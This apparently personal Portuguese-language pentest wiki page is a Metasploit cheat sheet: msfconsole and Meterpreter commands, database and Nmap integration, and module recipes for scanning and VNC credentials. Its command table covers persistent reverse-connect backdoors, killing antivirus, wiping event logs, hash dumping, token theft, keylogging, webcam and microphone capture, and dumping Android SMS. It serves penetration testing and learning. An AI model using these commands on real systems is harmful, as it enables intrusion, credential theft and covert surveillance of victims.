> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/tools/metasploit.md).

# Metasploit

### Inicializando

Devido ao grande número de ataques possíveis com o Metasploit (fora demais recursos que ele possui), decidi deixar um tópico somente para isso. Para inicializá-lo, execute:

```bash
msfconsole
```

Caso queira já iniciar com os parâmetros já configurados, crie um arquivo com cada "set" em uma linha, e utilize o comando abaixo:

```bash
msfconsole -r <file_config>
```

### Trabalhando com Banco de Dados

```bash
msfdb run
```

{% hint style="info" %}
**DICA**: Assim que executar o comando, irá ser exibido o arquivo de configuração do banco (caso precise alterar algo). Geralmente o caminho do arquivo deve ser **`/usr/share/metasploit-framework/config/database.yml`**.
{% endhint %}

Para ver as credenciais que já capturadas, execute:

```bash
creds
```

###

### MsfDB

O Metasploit trabalha com um o PostgreSQL para armazenar informações que podem ser utilizadas posteriormente.

### Comandos Meterpreter

No diretório `/usr/share/metasploit-framework/scripts/meterpreter`, há vários scripts que podem ser chamados pelo Meterpreter, através do comando `run` ex.: `run persistence`.\
Caso queira adicionar um novo meterpreter, basta copiar o arquivo `.rb` para esse diretório e depois executar (já no meterpreter) `run <payload>`

Obviamente para rodar um payload (no caso o meterpreter), precisa ter um exploit, então caso tenha baixado algum da net, jogue o exploit (que geralmente é uma pasta) em `/usr/share/metasploit-framework/data/exploits/` ou `/usr/share/metasploit-framework/modules/exploits/`.

Sempre que adicionar um novo script, execute o comando abaixo (dentro do Metasploit) para atualizar a lista:

```
reload_all
```

{% hint style="success" %}
**DICA**: É normal montarmos uma Reverse Shell com o Meterpreter e a sessão cair logo após. Para contornarmos isso, podemos utilizar o `migrate` (explicação logo abaixo), ou configurar o Metasploit com o comando `set AutoRunScript post/windows/manage/migrate`, sendo isso antes do comando `exploit`.

Outra maneira, é executando o comando `set AutoRunScript 'post/windows/manage/migrate'`, antes mesmo da shell meterpreter tiver 100% formada.
{% endhint %}

| **COMANDO**                                                                  | **DESCRIÇÃO**                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| ---------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `msfupdate`                                                                  | Atualiza os componentes do Metasploit (recomendado atualizar pelo menos uma vez por semana)                                                                                                                                                                                                                                                                                                                                                                            |
| `msfconsole`                                                                 | Inicia o Metasploit                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `help`                                                                       | Lista os comandos                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `show`                                                                       | Mostra todos os comandos                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `show auxiliary`                                                             | Mostra todos os comandos para auxiliary. Auxiliary são ferramentas auxiliares que não estão ligadas diretamente com o exploit, mas faz parte do processo de ataque, exemplo: Scanners, DDOS, Fuzzers, etc                                                                                                                                                                                                                                                              |
| `show exploits`                                                              | Mostra todos os exploits                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `show payloads`                                                              | Mostra todos os payloads. Se tiver um exploit já selecionado, irá mostrar somente os payloads para esse exploit. Repare se o payload é **Inline** ou **Staged**, lembrando que, caso não apareca o seu tipo, assume-se que ele é Inline                                                                                                                                                                                                                                |
| `show options`                                                               | Mostra as configurações que estão disponíveis  e / ou são necessarias para o módulo específico                                                                                                                                                                                                                                                                                                                                                                         |
| `show targets`                                                               | Execute esse comando dentro do contexto de um módulo (ou seja, depois e já selecionar o módulo), assim irá saber se o SO é vulnerável a essa exploração                                                                                                                                                                                                                                                                                                                |
| `show advanced`                                                              | <p>Mostra o aperfeiçoamento das falhas de segurança. Para ver todas as opções do <code>shows</code>, digite <code>show</code> e pressione <code>TAB</code> duas vezes<br><br><strong>OBS.:</strong> Se você estiver utilizando uma exploração particular (ex.: Windows), ao executar o <code>show payload</code>, não será mostrado os Payloads do Linux</p>                                                                                                           |
| `search`                                                                     | <p>Utilizado para quem tem uma idéia de que realmente sabe o que procura, ex<code>.: search ms09-001</code></p><p></p><p><strong>OBS.:</strong> Caso apareca uma mensagem informando que não foi possível conectar ao banco de dados (<code>\[!] Module database cache not built yet, using slow search</code>), corrija-o no tutorial contido aqui na Wiki</p>                                                                                                        |
| `help <command>`                                                             | Mostra a ajuda sobre determinado comando                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `sessions -u <session_id>`                                                   | Atualiza sua Reverse Shell não-Meterpreter para uma shell Meterpreter                                                                                                                                                                                                                                                                                                                                                                                                  |
| `use post/multi/manage/shell_to_meterpreter`                                 | Antes de executar, pressione `CTRL` + `Z` para jogar a session atual em background. Após definir o uso de `shell_to`*`_`*`meterpreter`, configure a session atual                                                                                                                                                                                                                                                                                                      |
| `getenv PATH`                                                                | Exibe as variáveis de ambiente                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `sysinfo`                                                                    | Informações sobre o SO                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `info`                                                                       | <p>Fornece infomações detalhadas sobre um módulo em particular, incluindo todas as opções disponíveis.</p><p><strong>Ex</strong>.: info dos/windows/smb/ms09\_001\_write</p>                                                                                                                                                                                                                                                                                           |
| `use`                                                                        | <p>Quando estiver decidido sobre um módulo específico, utilize esse comando para selecioná-lo.<br><strong>Ex</strong>.: use exploit/windows/smb/ms03\_049\_netapi</p>                                                                                                                                                                                                                                                                                                  |
| `connect`                                                                    | <p>Utilize esse comando junto com um endereço IP e o número da porta, assim irá se conectar a um host remoto de dentro do msfconsole como se estivesse no netcat ou no telnet<br><strong>Ex</strong>.: connect 192.168.1.13 23</p>                                                                                                                                                                                                                                     |
| `set`                                                                        | <p>Comando utilizado para definir configurações as opções do módulo que está trabalhando no momento.<br><strong>Ex</strong>: set RHOST 192.168.1.13<br><strong>Ex 2</strong>.: set rhosts 192.168.1.20-192.168.1.30 ou 192.168.1.0/24, 192.168.3.0/24) , </p>                                                                                                                                                                                                          |
| `sessions, background -l`, `sessions-l`                                      | Lista as sessões que estão ativas                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `sessions <id_session>`, `background -i <id_session>`                        | Acessa a sessão                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `show encoders`                                                              | Define um codificador para usar em tempo de execução. Isso é particularmente útil no desenvolvimento de explorar quando você não está completamente certo quanto à carga de métodos de codificação que irá trabalhar com um exploit. Depois de saber qual "encoder" utilizar, use o comando "set", ex.: set encoder x86/shikata\_ga\_nai                                                                                                                               |
| `check`                                                                      | Utilize esse comando depois de definir o exploit e o IP do alvo (RHOST). Esse comando irá verificar se o host é vulnerável, antes mesmo de atacá-lo                                                                                                                                                                                                                                                                                                                    |
| `run`                                                                        | Executa todas as configurações já definidas, por meios dos comandos "exploit" e "set"                                                                                                                                                                                                                                                                                                                                                                                  |
| `back`                                                                       | Remove as configurações que definiu e deixa como se tivesse acaado de acessar o msfconsole                                                                                                                                                                                                                                                                                                                                                                             |
| `search -d </path/directory> -f *abc*`                                       | Procura por algum arquivo que tenha **abc** em alguma parte do nome                                                                                                                                                                                                                                                                                                                                                                                                    |
| `resource nome_arquivo.rc`                                                   | Alguns ataques como Karmetasploit usa um arquivo de recurso, que são scripts básicos para o msfconsole. Ele executa os comandos do arquivo em sequência                                                                                                                                                                                                                                                                                                                |
| `irb`                                                                        | Irá cair em Ruby Script de modo onde pode emitir comandos e criar scripts personalizados                                                                                                                                                                                                                                                                                                                                                                               |
| `background`                                                                 | Deixa a sessão do Meterpreter em segundo plano. O mesmo pode ser feito com `CTRL` + `Z`                                                                                                                                                                                                                                                                                                                                                                                |
| `clearev`                                                                    | Irá limpar o Aplicativos e Serviços (Visualizador de Eventos), do Windows                                                                                                                                                                                                                                                                                                                                                                                              |
| `checksum md5 <file>`                                                        | Gera um hash MD5 de um determinado arquivo                                                                                                                                                                                                                                                                                                                                                                                                                             |
| `ps`                                                                         | Serviços que estão sendo executados no Windows e seus respectivos PID                                                                                                                                                                                                                                                                                                                                                                                                  |
| `ps <pid>`                                                                   | Abre determinado programa                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `ps -S <search_proccess>`                                                    | Procura por um determinado processo                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `migrate <pid>`                                                              | <p>Migra o PID do exploit para outro PID, por exemplo, o do antivírus ou o explorer. Assim além do antivírus não acha o vírus e o vírus só será encerrado se o antivírus também for encerrado. Esse é sem dúvida um dos primeiros comandos a ser executado. Se quiser, pode utilizar o <code>-p</code> antes do \<pid>.<br>Utilizando o <code>migrate</code> que esteja para um serviço que seja de outro usuário, você irá fazer um impersonate para este usuário</p> |
| `screenshot`                                                                 | Realizar captura da tela da vítima                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| `load powershell`                                                            | Carrega a extensão para utilizar o Powershell                                                                                                                                                                                                                                                                                                                                                                                                                          |
| `powershell_shell`                                                           | Abre a shell interativa do Powershell. Utilize antes o comando `load powershell` para habilitar essa funcionalidade.                                                                                                                                                                                                                                                                                                                                                   |
| `powershell_execute <command>"`                                              | Executa um comando no Powershell sem precisar entrar no modo interativo. Utilize antes o comando `load powershell` para habilitar essa funcionalidade.                                                                                                                                                                                                                                                                                                                 |
| `powershell_execute Enable-PSRemoting -Force`                                | Habilita o WinRM.                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `run persistence -S -L c:\\windows\\system32 -i 10 -p 4444 -r <ip_atacante>` | Faz com que o backdoor fique persistente. Assim que o usuário fizer login, irá tentar fazer uma nova conexão de 10 em 10 segundos                                                                                                                                                                                                                                                                                                                                      |
| `run killav`                                                                 | Mata o antivírus                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `run enum_firefox`                                                           | Pega todas as senhas salvas e cookies utilizadas no firefox                                                                                                                                                                                                                                                                                                                                                                                                            |
| `run hostsedit`                                                              | Edita o arquivo hosts                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `run getcountermeasure`                                                      | Ignora o antivírus, firewall e IDS                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| `steal_token <pid>`                                                          | Rouba o token. Por exemplo se roubarmos o PID do SQL Server, podemos ter acesso a todas as bases                                                                                                                                                                                                                                                                                                                                                                       |
| `download c:\\boot.ini`                                                      | Faz o download do arquivo para o Linux                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `upload /root/arquivo.txt c:\\windows`                                       | Faz upload do arquivo.                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `ipconfig`                                                                   | Mostra as interfaces de rede                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| `reboot`                                                                     | Reinicia a máquina                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| `shutdown`                                                                   | Desliga a máquina                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `hashdump`                                                                   | Obtém os hashes dos usuários locais do SO                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `use post/windows/gather/hashdump`                                           | <p>Pega os hashes dos usuários</p><p></p><p><strong>OBS.:</strong> Precisa ser Administrador do sistema</p>                                                                                                                                                                                                                                                                                                                                                            |
| `use post/windows/gather/cachedump`                                          | <p>Pega os hashes dos usuários que estão na memória</p><p></p><p><strong>OBS.:</strong> Precisa ser Administrador do sistema</p>                                                                                                                                                                                                                                                                                                                                       |
| `timestamp ­-h`                                                              | Comandos usados para evitar detecção por uma perícia forense                                                                                                                                                                                                                                                                                                                                                                                                           |
| `idletime`                                                                   | Mostra quanto tempo a vítima está afastada da sua máquina, ou seja não houve sequer interação com o mouse ou teclado                                                                                                                                                                                                                                                                                                                                                   |
| `cat c:\\<arquivo>`                                                          | Lê o arquivo e mostra a saída no terminal                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `edit c:\\boot.ini`                                                          | Edita o arquivo atraves do VIM                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `getuid`                                                                     | Mostra a autoridade do usuário que está utilizando no momento no sistema (hostname / user)                                                                                                                                                                                                                                                                                                                                                                             |
| `pwd`                                                                        | Diretório atual na máquina alvo                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `lpwd`                                                                       | Executa o comando `pwd` na máquina no atacante                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `uictl`                                                                      | Comando usado para controlar o teclado / mouse (ativar ou desativar) da vítima                                                                                                                                                                                                                                                                                                                                                                                         |
| `start`                                                                      | Abre um prompt no windows                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `clearenv`                                                                   | Limpa os log's do Windows                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `keyscan_start`                                                              | Instala um keyogger                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `keyscan_dump`                                                               | Resultado da captura do keyogger                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `keyscan_stop`                                                               | Desliga o keylogger. Utilize o `keyscan_dump` antes do `keyscan_stop`                                                                                                                                                                                                                                                                                                                                                                                                  |
| `lcd Deskop`                                                                 | Altera o valor de lpwd para /root/Deskop                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `tasklist`                                                                   | Serviços que estão sendo executados no Windows                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `resource arquivo.txt`                                                       | <p>Executa os comandos do arquivo txt</p><p></p><p><strong>OBS.:</strong> Cada comando deve ficar em uma linha do arquivo txt</p>                                                                                                                                                                                                                                                                                                                                      |
| `search -f arquivo.txt`                                                      | Procura pelo arquivo arquivo.txt                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `search -f sea*.bat c:\\xamp\\`                                              | Procura por um arquivo porém de forma mais avançada                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `run getgui -u <usuario> -p <senha>`                                         | Acessa a máquina via Remote Desktop                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `arp`                                                                        | Mostra tabela ARP                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `use priv`                                                                   | Habilita extensão para ganho de privilégio                                                                                                                                                                                                                                                                                                                                                                                                                             |
| `getsystem`                                                                  | Acessa como usuário SYSTEM. Se aparecer escrito `Got system`, é porque deu certo                                                                                                                                                                                                                                                                                                                                                                                       |
| `getprivs`                                                                   | Acessa como usuário SYSTEM, semelhante ao comando `getsystem`                                                                                                                                                                                                                                                                                                                                                                                                          |
| `run post/windows/gather/win_privs`                                          | O mesmo que `getsystem`                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `execute -f c\\virus.exe`                                                    | Executa um arquivo em background na vítima                                                                                                                                                                                                                                                                                                                                                                                                                             |
| `rev2self`                                                                   | Comando usado para voltar para usuário antigo                                                                                                                                                                                                                                                                                                                                                                                                                          |
| `shell`                                                                      | Entra na Shell do SO                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `webcam_list`                                                                | Mostra o nome das webcams                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `webcam_snap`                                                                | Tira foto através da webcam                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `webcam_snap -i 1 -v false`                                                  | Tira um print da tela da vítima                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `webcam_snap –I 2`                                                           | Tira print screen pela segunda câmera, caso haja (Android)                                                                                                                                                                                                                                                                                                                                                                                                             |
| `record_mic`                                                                 | Grava áudio da vítima                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `webcam_list`                                                                | Lista as webcams                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `webcam_stream`                                                              | Acessa a Web em tempo real para fazer/gravar vídeos                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `webcam_strream –I 2`                                                        | Grava vídeo pela segunda câmera, caso haja (Android)                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `dump_contacts`                                                              | Faz um dump da agenda (Android)                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `dump_sms`                                                                   | Pegar os SMS (Android)                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `geolocate`                                                                  | Descobre a localização atual (Android)                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `run packetrecorder -li / run packetrecorder -i 1`                           | Executa o `tcpdump`                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `search -f *.txt`                                                            | Procura por arquivos com determinada extensão                                                                                                                                                                                                                                                                                                                                                                                                                          |

### Trabalhando com Variáveis

Assim que iniciar o msfconsole, digite `set`, para ver as variáveis globais já definidas.

| COMANDO                  | DESCRIÇÃO                                                                                                                                                            |
| ------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `setg`                   | Define variáveis globais dentro do `msfconsole`, assim pode usar com muitos exploits e módulos auxiliares e porderá usá-las na próxima vez que utilizar o msfconsole |
| `save`                   | Salva as variáveis definidas com `setg`. Caso não salve, serão apagados assim que fechar o msfconsole                                                                |
| `unsetg <nome_variavel>` | Sempre utilize esse comando para remover os comandos salvos (caso tenho costume de salvar)                                                                           |
| `unsetg all`             | Remove todas as variáveis                                                                                                                                            |

**Exemplo**

```bash
use exploit/multi/handler
setg RHOST <ip_alvo>
save
```

###

### Metasploit + NMAP

Antes de começar, certifique-se de que o PostgreSQL está em execução com o comando `service postgresql status`.

```bash
msfconsole

# Conecta-se ao banco de dados
db_connect postgres:postgres@localhost:5432/msf3

# Verifica se está conectado
db_status

# Varredura utilizando o NMAP
db_nmap 192.168.1.0/24

# Realiza varredura do SO e extrai resultado arquivo XML chamado subnet_192.168.1.0-OS
nmap -O 912.168.1.77 -oX subnet_192.168.1.0-OS

# Importa o resultado do subnet_192.168.1.0-OS.xml para o banco de dados do Metasploit
db_import subnet_192.168.1.0-OS

# Verifica os hosts que já foram armazenados no banco de dados pelo comando db_import
hosts

# O mesmo que o comando "hosts", porém filtrando somente pelos campos de endereço e SO
hosts -c address,os_name

# Comando semelhante ao "hosts", porém mostra portas, protocolos, nomes, estados, etc
services

# O comando "services" pode ser utilizado para mostrar todas as portas abertas e os serviços disponível em "hosts" já identificados também é possível filtrar esses dados.
# Nesse exemplo está filtrando todos os hosts com SSH disponível
services -s ssh
```

###

### Localizando Máquinas Zumbis

```bash
msfconsole
use auxiliary/scanner/ip/ipidseq
set RHOSTS 192.168.1.1/24
set THREADS 50
set INTERFACE wlan0
run
```

###

### Descobrindo SO

```bash
msfconsole
use scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
set THREADS 50
run
```

**OBS.:** Observe que agora as informações recém-adquiridas são armazenadas no banco de dados do Metasploit. Para isso digite no terminal: `db_hosts`

###

### Listando E-mails

```bash
msfconsole
use auxiliary/gather/search_email_collector
set DOMAIN <domain.com>
run
```

###

### Port Scan

Realizando scan em todos os hosts que possuem a porta 80 aberta

```bash
msfconsole
use scanner/portscan/syn
set INTERFACE <interface>
set PORTS 80
set RHOSTS 192.168.1.0/24
set THREADS 30
run
```

**OBS.:** Caso queira listar todos os "portscan", digite: `search portscan`

### VNC

Procurando por alvo com VNC instalado

```bash
use auxiliary/scanner/vnc/vnc_login
set rhosts <ip>
run
```

Scan por no-auth

```bash
use auxiliary/scanner/vnc/vnc_none_auth
set rhosts <ip>
run
```

Obtendo a senha do VNC

```bash
use post/windows/gather/credentials/vnc
set session <session>
exploit
```

####

#### Sites

```bash
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#metasploit-powershell-modules
```
